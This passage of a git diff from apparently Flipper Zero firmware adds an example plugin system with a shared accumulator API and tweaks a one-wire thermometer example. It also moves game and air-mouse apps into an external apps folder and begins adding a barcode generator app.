app_api_accumulator_sub(uint32_t value); + +void app_api_accumulator_mul(uint32_t value); + +#ifdef __cplusplus +} +#endif diff --git a/applications/examples/example_plugins_advanced/app_api_interface.h b/applications/examples/example_plugins_advanced/app_api_interface.h new file mode 100644 index 000000000..d0db44c4a --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api_interface.h @@ -0,0 +1,9 @@ +#pragma once + +#include + +/* + * Resolver interface with private application's symbols. + * Implementation is contained in app_api_table.c + */ +extern const ElfApiInterface* const application_api_interface; \ No newline at end of file diff --git a/applications/examples/example_plugins_advanced/app_api_table.cpp b/applications/examples/example_plugins_advanced/app_api_table.cpp new file mode 100644 index 000000000..aacfb8c18 --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api_table.cpp @@ -0,0 +1,27 @@ +#include +#include + +/* + * This file contains an implementation of a symbol table + * with private app's symbols. It is used by composite API resolver + * to load plugins that use internal application's APIs. + */ +#include "app_api_table_i.h" + +static_assert(!has_hash_collisions(app_api_table), "Detected API method hash collision!"); + +constexpr HashtableApiInterface applicaton_hashtable_api_interface{ + { + .api_version_major = 0, + .api_version_minor = 0, + /* generic resolver using pre-sorted array */ + .resolver_callback = &elf_resolve_from_hashtable, + }, + /* pointers to application's API table boundaries */ + .table_cbegin = app_api_table.cbegin(), + .table_cend = app_api_table.cend(), +}; + +/* Casting to generic resolver to use in Composite API resolver */ +extern "C" const ElfApiInterface* const application_api_interface = + &applicaton_hashtable_api_interface; diff --git a/applications/examples/example_plugins_advanced/app_api_table_i.h b/applications/examples/example_plugins_advanced/app_api_table_i.h new file mode 100644 index 000000000..17cc8be5f --- /dev/null +++ b/applications/examples/example_plugins_advanced/app_api_table_i.h @@ -0,0 +1,13 @@ +#include "app_api.h" + +/* + * A list of app's private functions and objects to expose for plugins. + * It is used to generate a table of symbols for import resolver to use. + * TBD: automatically generate this table from app's header files + */ +static constexpr auto app_api_table = sort(create_array_t( + API_METHOD(app_api_accumulator_set, void, (uint32_t)), + API_METHOD(app_api_accumulator_get, uint32_t, ()), + API_METHOD(app_api_accumulator_add, void, (uint32_t)), + API_METHOD(app_api_accumulator_sub, void, (uint32_t)), + API_METHOD(app_api_accumulator_mul, void, (uint32_t)))); \ No newline at end of file diff --git a/applications/examples/example_plugins_advanced/application.fam b/applications/examples/example_plugins_advanced/application.fam new file mode 100644 index 000000000..d40c0dde2 --- /dev/null +++ b/applications/examples/example_plugins_advanced/application.fam @@ -0,0 +1,24 @@ +App( + appid="example_advanced_plugins", + name="Example: advanced plugins", + apptype=FlipperAppType.EXTERNAL, + entry_point="example_advanced_plugins_app", + stack_size=2 * 1024, + fap_category="Examples", +) + +App( + appid="advanced_plugin1", + apptype=FlipperAppType.PLUGIN, + entry_point="advanced_plugin1_ep", + requires=["example_advanced_plugins"], + sources=["plugin1.c"], +) + +App( + appid="advanced_plugin2", + apptype=FlipperAppType.PLUGIN, + entry_point="advanced_plugin2_ep", + requires=["example_advanced_plugins"], + sources=["plugin2.c"], +) diff --git a/applications/examples/example_plugins_advanced/example_advanced_plugins.c b/applications/examples/example_plugins_advanced/example_advanced_plugins.c new file mode 100644 index 000000000..f27b0a084 --- /dev/null +++ b/applications/examples/example_plugins_advanced/example_advanced_plugins.c @@ -0,0 +1,48 @@ +#include "app_api.h" +#include "plugin_interface.h" +#include "app_api_interface.h" + +#include +#include +#include + +#include + +#define TAG "example_advanced_plugins" + +int32_t example_advanced_plugins_app(void* p) { + UNUSED(p); + + FURI_LOG_I(TAG, "Starting"); + + CompositeApiResolver* resolver = composite_api_resolver_alloc(); + composite_api_resolver_add(resolver, firmware_api_interface); + composite_api_resolver_add(resolver, application_api_interface); + + PluginManager* manager = plugin_manager_alloc( + PLUGIN_APP_ID, PLUGIN_API_VERSION, composite_api_resolver_get(resolver)); + + do { + if(plugin_manager_load_all(manager, APP_DATA_PATH("plugins")) != PluginManagerErrorNone) { + FURI_LOG_E(TAG, "Failed to load all libs"); + break; + } + + uint32_t plugin_count = plugin_manager_get_count(manager); + FURI_LOG_I(TAG, "Loaded libs: %lu", plugin_count); + + for(uint32_t i = 0; i < plugin_count; i++) { + const AdvancedPlugin* plugin = plugin_manager_get_ep(manager, i); + FURI_LOG_I(TAG, "plugin name: %s. Calling methods", plugin->name); + plugin->method1(228); + plugin->method2(); + FURI_LOG_I(TAG, "Accumulator: %lu", app_api_accumulator_get()); + } + } while(0); + + plugin_manager_free(manager); + composite_api_resolver_free(resolver); + FURI_LOG_I(TAG, "Goodbye!"); + + return 0; +} diff --git a/applications/examples/example_plugins_advanced/plugin1.c b/applications/examples/example_plugins_advanced/plugin1.c new file mode 100644 index 000000000..bf0ab50b4 --- /dev/null +++ b/applications/examples/example_plugins_advanced/plugin1.c @@ -0,0 +1,40 @@ +/* + * This plugin uses both firmware's API interface and private application headers. + * It can be loaded by a plugin manager that uses CompoundApiInterface, + * which combines both interfaces. + */ + +#include "app_api.h" +#include "plugin_interface.h" + +#include +#include + +static void advanced_plugin1_method1(int arg1) { + /* This function is implemented inside host application */ + app_api_accumulator_add(arg1); +} + +static void advanced_plugin1_method2() { + /* Accumulator value is stored inside host application */ + FURI_LOG_I("TEST", "Plugin 1, accumulator: %lu", app_api_accumulator_get()); +} + +/* Actual implementation of app<>plugin interface */ +static const AdvancedPlugin advanced_plugin1 = { + .name = "Advanced Plugin 1", + .method1 = &advanced_plugin1_method1, + .method2 = &advanced_plugin1_method2, +}; + +/* Plugin descriptor to comply with basic plugin specification */ +static const FlipperAppPluginDescriptor advanced_plugin1_descriptor = { + .appid = PLUGIN_APP_ID, + .ep_api_version = PLUGIN_API_VERSION, + .entry_point = &advanced_plugin1, +}; + +/* Plugin entry point - must return a pointer to const descriptor */ +const FlipperAppPluginDescriptor* advanced_plugin1_ep() { + return &advanced_plugin1_descriptor; +} diff --git a/applications/examples/example_plugins_advanced/plugin2.c b/applications/examples/example_plugins_advanced/plugin2.c new file mode 100644 index 000000000..f0b2f726d --- /dev/null +++ b/applications/examples/example_plugins_advanced/plugin2.c @@ -0,0 +1,40 @@ +/* + * This plugin uses both firmware's API interface and private application headers. + * It can be loaded by a plugin manager that uses CompoundApiInterface, + * which combines both interfaces. + */ + +#include "app_api.h" +#include "plugin_interface.h" + +#include +#include + +static void advanced_plugin2_method1(int arg1) { + /* This function is implemented inside host application */ + app_api_accumulator_mul(arg1); +} + +static void advanced_plugin2_method2() { + /* Accumulator value is stored inside host application */ + FURI_LOG_I("TEST", "Plugin 2, accumulator: %lu", app_api_accumulator_get()); +} + +/* Actual implementation of app<>plugin interface */ +static const AdvancedPlugin advanced_plugin2 = { + .name = "Advanced Plugin 2", + .method1 = &advanced_plugin2_method1, + .method2 = &advanced_plugin2_method2, +}; + +/* Plugin descriptor to comply with basic plugin specification */ +static const FlipperAppPluginDescriptor advanced_plugin2_descriptor = { + .appid = PLUGIN_APP_ID, + .ep_api_version = PLUGIN_API_VERSION, + .entry_point = &advanced_plugin2, +}; + +/* Plugin entry point - must return a pointer to const descriptor */ +const FlipperAppPluginDescriptor* advanced_plugin2_ep() { + return &advanced_plugin2_descriptor; +} diff --git a/applications/examples/example_plugins_advanced/plugin_interface.h b/applications/examples/example_plugins_advanced/plugin_interface.h new file mode 100644 index 000000000..e8b5a22d6 --- /dev/null +++ b/applications/examples/example_plugins_advanced/plugin_interface.h @@ -0,0 +1,12 @@ +#pragma once + +/* Common interface between a plugin and host applicaion */ + +#define PLUGIN_APP_ID "example_plugins_advanced" +#define PLUGIN_API_VERSION 1 + +typedef struct { + const char* name; + void (*method1)(int); + void (*method2)(); +} AdvancedPlugin; diff --git a/applications/examples/example_thermo/example_thermo.c b/applications/examples/example_thermo/example_thermo.c index b3bc7cd99..4241cb59d 100644 --- a/applications/examples/example_thermo/example_thermo.c +++ b/applications/examples/example_thermo/example_thermo.c @@ -19,9 +19,12 @@ #include #include +#include + #define UPDATE_PERIOD_MS 1000UL #define TEXT_STORE_SIZE 64U +#define DS18B20_CMD_SKIP_ROM 0xccU #define DS18B20_CMD_CONVERT 0x44U #define DS18B20_CMD_READ_SCRATCHPAD 0xbeU @@ -92,7 +95,7 @@ static void example_thermo_request_temperature(ExampleThermoContext* context) { /* After the reset, a ROM operation must follow. If there is only one device connected, the "Skip ROM" command is most appropriate (it can also be used to address all of the connected devices in some cases).*/ - onewire_host_skip(onewire); + onewire_host_write(onewire, DS18B20_CMD_SKIP_ROM); /* After the ROM operation, a device-specific command is issued. In this case, it's a request to start measuring the temperature. */ onewire_host_write(onewire, DS18B20_CMD_CONVERT); @@ -133,7 +136,7 @@ static void example_thermo_read_temperature(ExampleThermoContext* context) { /* After the reset, a ROM operation must follow. If there is only one device connected, the "Skip ROM" command is most appropriate (it can also be used to address all of the connected devices in some cases).*/ - onewire_host_skip(onewire); + onewire_host_write(onewire, DS18B20_CMD_SKIP_ROM); /* After the ROM operation, a device-specific command is issued. This time, it will be the "Read Scratchpad" command which will @@ -267,6 +270,9 @@ static void example_thermo_input_callback(InputEvent* event, void* ctx) { /* Starts the reader thread and handles the input */ static void example_thermo_run(ExampleThermoContext* context) { + /* Enable power on external pins */ + furi_hal_power_enable_otg(); + /* Configure the hardware in host mode */ onewire_host_start(context->onewire); @@ -299,6 +305,9 @@ static void example_thermo_run(ExampleThermoContext* context) { /* Reset the hardware */ onewire_host_stop(context->onewire); + + /* Disable power on external pins */ + furi_hal_power_disable_otg(); } /******************** Initialisation & startup *****************************/ diff --git a/applications/plugins/airmouse/LICENSE b/applications/external/airmouse/LICENSE similarity index 100% rename from applications/plugins/airmouse/LICENSE rename to applications/external/airmouse/LICENSE diff --git a/applications/plugins/airmouse/air_mouse.c b/applications/external/airmouse/air_mouse.c similarity index 98% rename from applications/plugins/airmouse/air_mouse.c rename to applications/external/airmouse/air_mouse.c index 7a90e49f1..3bb7253b5 100644 --- a/applications/plugins/airmouse/air_mouse.c +++ b/applications/external/airmouse/air_mouse.c @@ -1,7 +1,6 @@ #include "air_mouse.h" #include -#include #include "tracking/imu/imu.h" @@ -146,7 +145,6 @@ int32_t air_mouse_app(void* p) { return -1; } - DOLPHIN_DEED(DolphinDeedPluginStart); view_dispatcher_run(app->view_dispatcher); imu_end(); diff --git a/applications/plugins/airmouse/air_mouse.h b/applications/external/airmouse/air_mouse.h similarity index 100% rename from applications/plugins/airmouse/air_mouse.h rename to applications/external/airmouse/air_mouse.h diff --git a/applications/plugins/airmouse/application.fam b/applications/external/airmouse/application.fam similarity index 100% rename from applications/plugins/airmouse/application.fam rename to applications/external/airmouse/application.fam index abc3f55bb..7bdba948a 100644 --- a/applications/plugins/airmouse/application.fam +++ b/applications/external/airmouse/application.fam @@ -4,6 +4,6 @@ App( apptype=FlipperAppType.EXTERNAL, entry_point="air_mouse_app", stack_size=10 * 1024, - fap_icon="mouse_10px.png", fap_category="GPIO", + fap_icon="mouse_10px.png", ) diff --git a/applications/plugins/airmouse/mouse_10px.png b/applications/external/airmouse/mouse_10px.png similarity index 100% rename from applications/plugins/airmouse/mouse_10px.png rename to applications/external/airmouse/mouse_10px.png diff --git a/applications/plugins/airmouse/tracking/calibration_data.cc b/applications/external/airmouse/tracking/calibration_data.cc similarity index 100% rename from applications/plugins/airmouse/tracking/calibration_data.cc rename to applications/external/airmouse/tracking/calibration_data.cc diff --git a/applications/plugins/airmouse/tracking/calibration_data.h b/applications/external/airmouse/tracking/calibration_data.h similarity index 97% rename from applications/plugins/airmouse/tracking/calibration_data.h rename to applications/external/airmouse/tracking/calibration_data.h index d47dab08d..7d240775a 100644 --- a/applications/plugins/airmouse/tracking/calibration_data.h +++ b/applications/external/airmouse/tracking/calibration_data.h @@ -8,7 +8,7 @@ #define CALIBRATION_DATA_VER (1) #define CALIBRATION_DATA_FILE_NAME ".calibration.data" -#define CALIBRATION_DATA_PATH INT_PATH(CALIBRATION_DATA_FILE_NAME) +#define CALIBRATION_DATA_PATH EXT_PATH(CALIBRATION_DATA_FILE_NAME) #define CALIBRATION_DATA_MAGIC (0x23) #define CALIBRATION_DATA_SAVE(x) \ diff --git a/applications/plugins/airmouse/tracking/imu/bmi160.c b/applications/external/airmouse/tracking/imu/bmi160.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/bmi160.c rename to applications/external/airmouse/tracking/imu/bmi160.c diff --git a/applications/plugins/airmouse/tracking/imu/bmi160.h b/applications/external/airmouse/tracking/imu/bmi160.h similarity index 100% rename from applications/plugins/airmouse/tracking/imu/bmi160.h rename to applications/external/airmouse/tracking/imu/bmi160.h diff --git a/applications/plugins/airmouse/tracking/imu/bmi160_defs.h b/applications/external/airmouse/tracking/imu/bmi160_defs.h similarity index 100% rename from applications/plugins/airmouse/tracking/imu/bmi160_defs.h rename to applications/external/airmouse/tracking/imu/bmi160_defs.h diff --git a/applications/plugins/airmouse/tracking/imu/imu.c b/applications/external/airmouse/tracking/imu/imu.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/imu.c rename to applications/external/airmouse/tracking/imu/imu.c diff --git a/applications/plugins/airmouse/tracking/imu/imu.h b/applications/external/airmouse/tracking/imu/imu.h similarity index 100% rename from applications/plugins/airmouse/tracking/imu/imu.h rename to applications/external/airmouse/tracking/imu/imu.h diff --git a/applications/plugins/airmouse/tracking/imu/imu_bmi160.c b/applications/external/airmouse/tracking/imu/imu_bmi160.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/imu_bmi160.c rename to applications/external/airmouse/tracking/imu/imu_bmi160.c diff --git a/applications/plugins/airmouse/tracking/imu/imu_lsm6ds3trc.c b/applications/external/airmouse/tracking/imu/imu_lsm6ds3trc.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/imu_lsm6ds3trc.c rename to applications/external/airmouse/tracking/imu/imu_lsm6ds3trc.c diff --git a/applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.c b/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.c similarity index 100% rename from applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.c rename to applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.c diff --git a/applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.h b/applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.h similarity index 100% rename from applications/plugins/airmouse/tracking/imu/lsm6ds3tr_c_reg.h rename to applications/external/airmouse/tracking/imu/lsm6ds3tr_c_reg.h diff --git a/applications/plugins/airmouse/tracking/main_loop.cc b/applications/external/airmouse/tracking/main_loop.cc similarity index 100% rename from applications/plugins/airmouse/tracking/main_loop.cc rename to applications/external/airmouse/tracking/main_loop.cc diff --git a/applications/plugins/airmouse/tracking/main_loop.h b/applications/external/airmouse/tracking/main_loop.h similarity index 100% rename from applications/plugins/airmouse/tracking/main_loop.h rename to applications/external/airmouse/tracking/main_loop.h diff --git a/applications/plugins/airmouse/tracking/orientation_tracker.cc b/applications/external/airmouse/tracking/orientation_tracker.cc similarity index 100% rename from applications/plugins/airmouse/tracking/orientation_tracker.cc rename to applications/external/airmouse/tracking/orientation_tracker.cc diff --git a/applications/plugins/airmouse/tracking/orientation_tracker.h b/applications/external/airmouse/tracking/orientation_tracker.h similarity index 100% rename from applications/plugins/airmouse/tracking/orientation_tracker.h rename to applications/external/airmouse/tracking/orientation_tracker.h diff --git a/applications/plugins/airmouse/tracking/sensors/accelerometer_data.h b/applications/external/airmouse/tracking/sensors/accelerometer_data.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/accelerometer_data.h rename to applications/external/airmouse/tracking/sensors/accelerometer_data.h diff --git a/applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.cc b/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.cc rename to applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.cc diff --git a/applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.h b/applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/gyroscope_bias_estimator.h rename to applications/external/airmouse/tracking/sensors/gyroscope_bias_estimator.h diff --git a/applications/plugins/airmouse/tracking/sensors/gyroscope_data.h b/applications/external/airmouse/tracking/sensors/gyroscope_data.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/gyroscope_data.h rename to applications/external/airmouse/tracking/sensors/gyroscope_data.h diff --git a/applications/plugins/airmouse/tracking/sensors/lowpass_filter.cc b/applications/external/airmouse/tracking/sensors/lowpass_filter.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/lowpass_filter.cc rename to applications/external/airmouse/tracking/sensors/lowpass_filter.cc diff --git a/applications/plugins/airmouse/tracking/sensors/lowpass_filter.h b/applications/external/airmouse/tracking/sensors/lowpass_filter.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/lowpass_filter.h rename to applications/external/airmouse/tracking/sensors/lowpass_filter.h diff --git a/applications/plugins/airmouse/tracking/sensors/mean_filter.cc b/applications/external/airmouse/tracking/sensors/mean_filter.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/mean_filter.cc rename to applications/external/airmouse/tracking/sensors/mean_filter.cc diff --git a/applications/plugins/airmouse/tracking/sensors/mean_filter.h b/applications/external/airmouse/tracking/sensors/mean_filter.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/mean_filter.h rename to applications/external/airmouse/tracking/sensors/mean_filter.h diff --git a/applications/plugins/airmouse/tracking/sensors/median_filter.cc b/applications/external/airmouse/tracking/sensors/median_filter.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/median_filter.cc rename to applications/external/airmouse/tracking/sensors/median_filter.cc diff --git a/applications/plugins/airmouse/tracking/sensors/median_filter.h b/applications/external/airmouse/tracking/sensors/median_filter.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/median_filter.h rename to applications/external/airmouse/tracking/sensors/median_filter.h diff --git a/applications/plugins/airmouse/tracking/sensors/pose_prediction.cc b/applications/external/airmouse/tracking/sensors/pose_prediction.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/pose_prediction.cc rename to applications/external/airmouse/tracking/sensors/pose_prediction.cc diff --git a/applications/plugins/airmouse/tracking/sensors/pose_prediction.h b/applications/external/airmouse/tracking/sensors/pose_prediction.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/pose_prediction.h rename to applications/external/airmouse/tracking/sensors/pose_prediction.h diff --git a/applications/plugins/airmouse/tracking/sensors/pose_state.h b/applications/external/airmouse/tracking/sensors/pose_state.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/pose_state.h rename to applications/external/airmouse/tracking/sensors/pose_state.h diff --git a/applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.cc b/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.cc similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.cc rename to applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.cc diff --git a/applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.h b/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.h similarity index 100% rename from applications/plugins/airmouse/tracking/sensors/sensor_fusion_ekf.h rename to applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.h diff --git a/applications/plugins/airmouse/tracking/util/logging.h b/applications/external/airmouse/tracking/util/logging.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/logging.h rename to applications/external/airmouse/tracking/util/logging.h diff --git a/applications/plugins/airmouse/tracking/util/matrix_3x3.cc b/applications/external/airmouse/tracking/util/matrix_3x3.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrix_3x3.cc rename to applications/external/airmouse/tracking/util/matrix_3x3.cc diff --git a/applications/plugins/airmouse/tracking/util/matrix_3x3.h b/applications/external/airmouse/tracking/util/matrix_3x3.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrix_3x3.h rename to applications/external/airmouse/tracking/util/matrix_3x3.h diff --git a/applications/plugins/airmouse/tracking/util/matrix_4x4.cc b/applications/external/airmouse/tracking/util/matrix_4x4.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrix_4x4.cc rename to applications/external/airmouse/tracking/util/matrix_4x4.cc diff --git a/applications/plugins/airmouse/tracking/util/matrix_4x4.h b/applications/external/airmouse/tracking/util/matrix_4x4.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrix_4x4.h rename to applications/external/airmouse/tracking/util/matrix_4x4.h diff --git a/applications/plugins/airmouse/tracking/util/matrixutils.cc b/applications/external/airmouse/tracking/util/matrixutils.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrixutils.cc rename to applications/external/airmouse/tracking/util/matrixutils.cc diff --git a/applications/plugins/airmouse/tracking/util/matrixutils.h b/applications/external/airmouse/tracking/util/matrixutils.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/matrixutils.h rename to applications/external/airmouse/tracking/util/matrixutils.h diff --git a/applications/plugins/airmouse/tracking/util/rotation.cc b/applications/external/airmouse/tracking/util/rotation.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/rotation.cc rename to applications/external/airmouse/tracking/util/rotation.cc diff --git a/applications/plugins/airmouse/tracking/util/rotation.h b/applications/external/airmouse/tracking/util/rotation.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/rotation.h rename to applications/external/airmouse/tracking/util/rotation.h diff --git a/applications/plugins/airmouse/tracking/util/vector.h b/applications/external/airmouse/tracking/util/vector.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/vector.h rename to applications/external/airmouse/tracking/util/vector.h diff --git a/applications/plugins/airmouse/tracking/util/vectorutils.cc b/applications/external/airmouse/tracking/util/vectorutils.cc similarity index 100% rename from applications/plugins/airmouse/tracking/util/vectorutils.cc rename to applications/external/airmouse/tracking/util/vectorutils.cc diff --git a/applications/plugins/airmouse/tracking/util/vectorutils.h b/applications/external/airmouse/tracking/util/vectorutils.h similarity index 100% rename from applications/plugins/airmouse/tracking/util/vectorutils.h rename to applications/external/airmouse/tracking/util/vectorutils.h diff --git a/applications/plugins/airmouse/views/bt_mouse.c b/applications/external/airmouse/views/bt_mouse.c similarity index 100% rename from applications/plugins/airmouse/views/bt_mouse.c rename to applications/external/airmouse/views/bt_mouse.c diff --git a/applications/plugins/airmouse/views/bt_mouse.h b/applications/external/airmouse/views/bt_mouse.h similarity index 100% rename from applications/plugins/airmouse/views/bt_mouse.h rename to applications/external/airmouse/views/bt_mouse.h diff --git a/applications/plugins/airmouse/views/calibration.c b/applications/external/airmouse/views/calibration.c similarity index 100% rename from applications/plugins/airmouse/views/calibration.c rename to applications/external/airmouse/views/calibration.c diff --git a/applications/plugins/airmouse/views/calibration.h b/applications/external/airmouse/views/calibration.h similarity index 100% rename from applications/plugins/airmouse/views/calibration.h rename to applications/external/airmouse/views/calibration.h diff --git a/applications/plugins/airmouse/views/usb_mouse.c b/applications/external/airmouse/views/usb_mouse.c similarity index 100% rename from applications/plugins/airmouse/views/usb_mouse.c rename to applications/external/airmouse/views/usb_mouse.c diff --git a/applications/plugins/airmouse/views/usb_mouse.h b/applications/external/airmouse/views/usb_mouse.h similarity index 100% rename from applications/plugins/airmouse/views/usb_mouse.h rename to applications/external/airmouse/views/usb_mouse.h diff --git a/applications/external/application.fam b/applications/external/application.fam new file mode 100644 index 000000000..12dc1cc1a --- /dev/null +++ b/applications/external/application.fam @@ -0,0 +1,6 @@ +# Placeholder +App( + appid="external_apps", + name="External apps bundle", + apptype=FlipperAppType.METAPACKAGE, +) diff --git a/applications/plugins/arkanoid/application.fam b/applications/external/arkanoid/application.fam similarity index 87% rename from applications/plugins/arkanoid/application.fam rename to applications/external/arkanoid/application.fam index bc202ff00..8440f3a89 100644 --- a/applications/plugins/arkanoid/application.fam +++ b/applications/external/arkanoid/application.fam @@ -3,7 +3,6 @@ App( name="Arkanoid", apptype=FlipperAppType.EXTERNAL, entry_point="arkanoid_game_app", - cdefines=["APP_ARKANOID_GAME"], requires=["gui"], stack_size=1 * 1024, order=20, diff --git a/applications/plugins/arkanoid/arkanoid_10px.png b/applications/external/arkanoid/arkanoid_10px.png similarity index 100% rename from applications/plugins/arkanoid/arkanoid_10px.png rename to applications/external/arkanoid/arkanoid_10px.png diff --git a/applications/plugins/arkanoid/arkanoid_game.c b/applications/external/arkanoid/arkanoid_game.c similarity index 100% rename from applications/plugins/arkanoid/arkanoid_game.c rename to applications/external/arkanoid/arkanoid_game.c diff --git a/applications/plugins/asteroids/LICENSE b/applications/external/asteroids/LICENSE similarity index 100% rename from applications/plugins/asteroids/LICENSE rename to applications/external/asteroids/LICENSE diff --git a/applications/plugins/asteroids/app.c b/applications/external/asteroids/app.c similarity index 100% rename from applications/plugins/asteroids/app.c rename to applications/external/asteroids/app.c diff --git a/applications/plugins/asteroids/appicon.png b/applications/external/asteroids/appicon.png similarity index 100% rename from applications/plugins/asteroids/appicon.png rename to applications/external/asteroids/appicon.png diff --git a/applications/plugins/asteroids/application.fam b/applications/external/asteroids/application.fam similarity index 100% rename from applications/plugins/asteroids/application.fam rename to applications/external/asteroids/application.fam index 5eb43a6e5..5f70a0e1c 100644 --- a/applications/plugins/asteroids/application.fam +++ b/applications/external/asteroids/application.fam @@ -8,8 +8,8 @@ App( stack_size=8 * 1024, order=50, fap_icon="appicon.png", - fap_category="Games", fap_icon_assets="assets", # Image assets to compile for this application + fap_category="Games", fap_description="An implementation of the classic arcade game Asteroids", fap_author="antirez, SimplyMinimal", fap_weburl="https://github.com/SimplyMinimal/FlipperZero-Asteroids", diff --git a/applications/plugins/asteroids/assets/ammo_10x10.png b/applications/external/asteroids/assets/ammo_10x10.png similarity index 100% rename from applications/plugins/asteroids/assets/ammo_10x10.png rename to applications/external/asteroids/assets/ammo_10x10.png diff --git a/applications/plugins/asteroids/assets/ammo_11x11.png b/applications/external/asteroids/assets/ammo_11x11.png similarity index 100% rename from applications/plugins/asteroids/assets/ammo_11x11.png rename to applications/external/asteroids/assets/ammo_11x11.png diff --git a/applications/plugins/asteroids/assets/firepower_12x12.png b/applications/external/asteroids/assets/firepower_12x12.png similarity index 100% rename from applications/plugins/asteroids/assets/firepower_12x12.png rename to applications/external/asteroids/assets/firepower_12x12.png diff --git a/applications/plugins/asteroids/assets/firepower_9x10.png b/applications/external/asteroids/assets/firepower_9x10.png similarity index 100% rename from applications/plugins/asteroids/assets/firepower_9x10.png rename to applications/external/asteroids/assets/firepower_9x10.png diff --git a/applications/plugins/asteroids/assets/firepower_shifted_9x10.png b/applications/external/asteroids/assets/firepower_shifted_9x10.png similarity index 100% rename from applications/plugins/asteroids/assets/firepower_shifted_9x10.png rename to applications/external/asteroids/assets/firepower_shifted_9x10.png diff --git a/applications/plugins/asteroids/assets/heart_10x10.png b/applications/external/asteroids/assets/heart_10x10.png similarity index 100% rename from applications/plugins/asteroids/assets/heart_10x10.png rename to applications/external/asteroids/assets/heart_10x10.png diff --git a/applications/plugins/asteroids/assets/heart_12x12.png b/applications/external/asteroids/assets/heart_12x12.png similarity index 100% rename from applications/plugins/asteroids/assets/heart_12x12.png rename to applications/external/asteroids/assets/heart_12x12.png diff --git a/applications/plugins/asteroids/assets/nuke_10x10.png b/applications/external/asteroids/assets/nuke_10x10.png similarity index 100% rename from applications/plugins/asteroids/assets/nuke_10x10.png rename to applications/external/asteroids/assets/nuke_10x10.png diff --git a/applications/plugins/asteroids/assets/shield-frame.png b/applications/external/asteroids/assets/shield-frame.png similarity index 100% rename from applications/plugins/asteroids/assets/shield-frame.png rename to applications/external/asteroids/assets/shield-frame.png diff --git a/applications/plugins/asteroids/assets/shield_clean.png b/applications/external/asteroids/assets/shield_clean.png similarity index 100% rename from applications/plugins/asteroids/assets/shield_clean.png rename to applications/external/asteroids/assets/shield_clean.png diff --git a/applications/plugins/asteroids/assets/split_shield_10x10.png b/applications/external/asteroids/assets/split_shield_10x10.png similarity index 100% rename from applications/plugins/asteroids/assets/split_shield_10x10.png rename to applications/external/asteroids/assets/split_shield_10x10.png diff --git a/applications/external/barcode_gen/LICENSE b/applications/external/barcode_gen/LICENSE new file mode 100644 index 000000000..4c02d8221 --- /dev/null +++ b/applications/external/barcode_gen/LICENSE @@ -0,0 +1,22 @@ + +MIT License + +Copyright (c) 2023 Alan Tsui + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/applications/external/barcode_gen/application.fam b/applications/external/barcode_gen/application.fam new file mode 100644 index 000000000..72c8aa114 --- /dev/null +++ b/applications/external/barcode_gen/application.fam @@ -0,0 +1,11 @@ +App( + appid="barcode_app", + name="Barcode", + apptype=FlipperAppType.EXTERNAL, + entry_point="barcode_main", + requires=["gui", "storage"], + stack_size=2 * 1024, + fap_category="Misc", + fap_icon="images/barcode_10.png", + 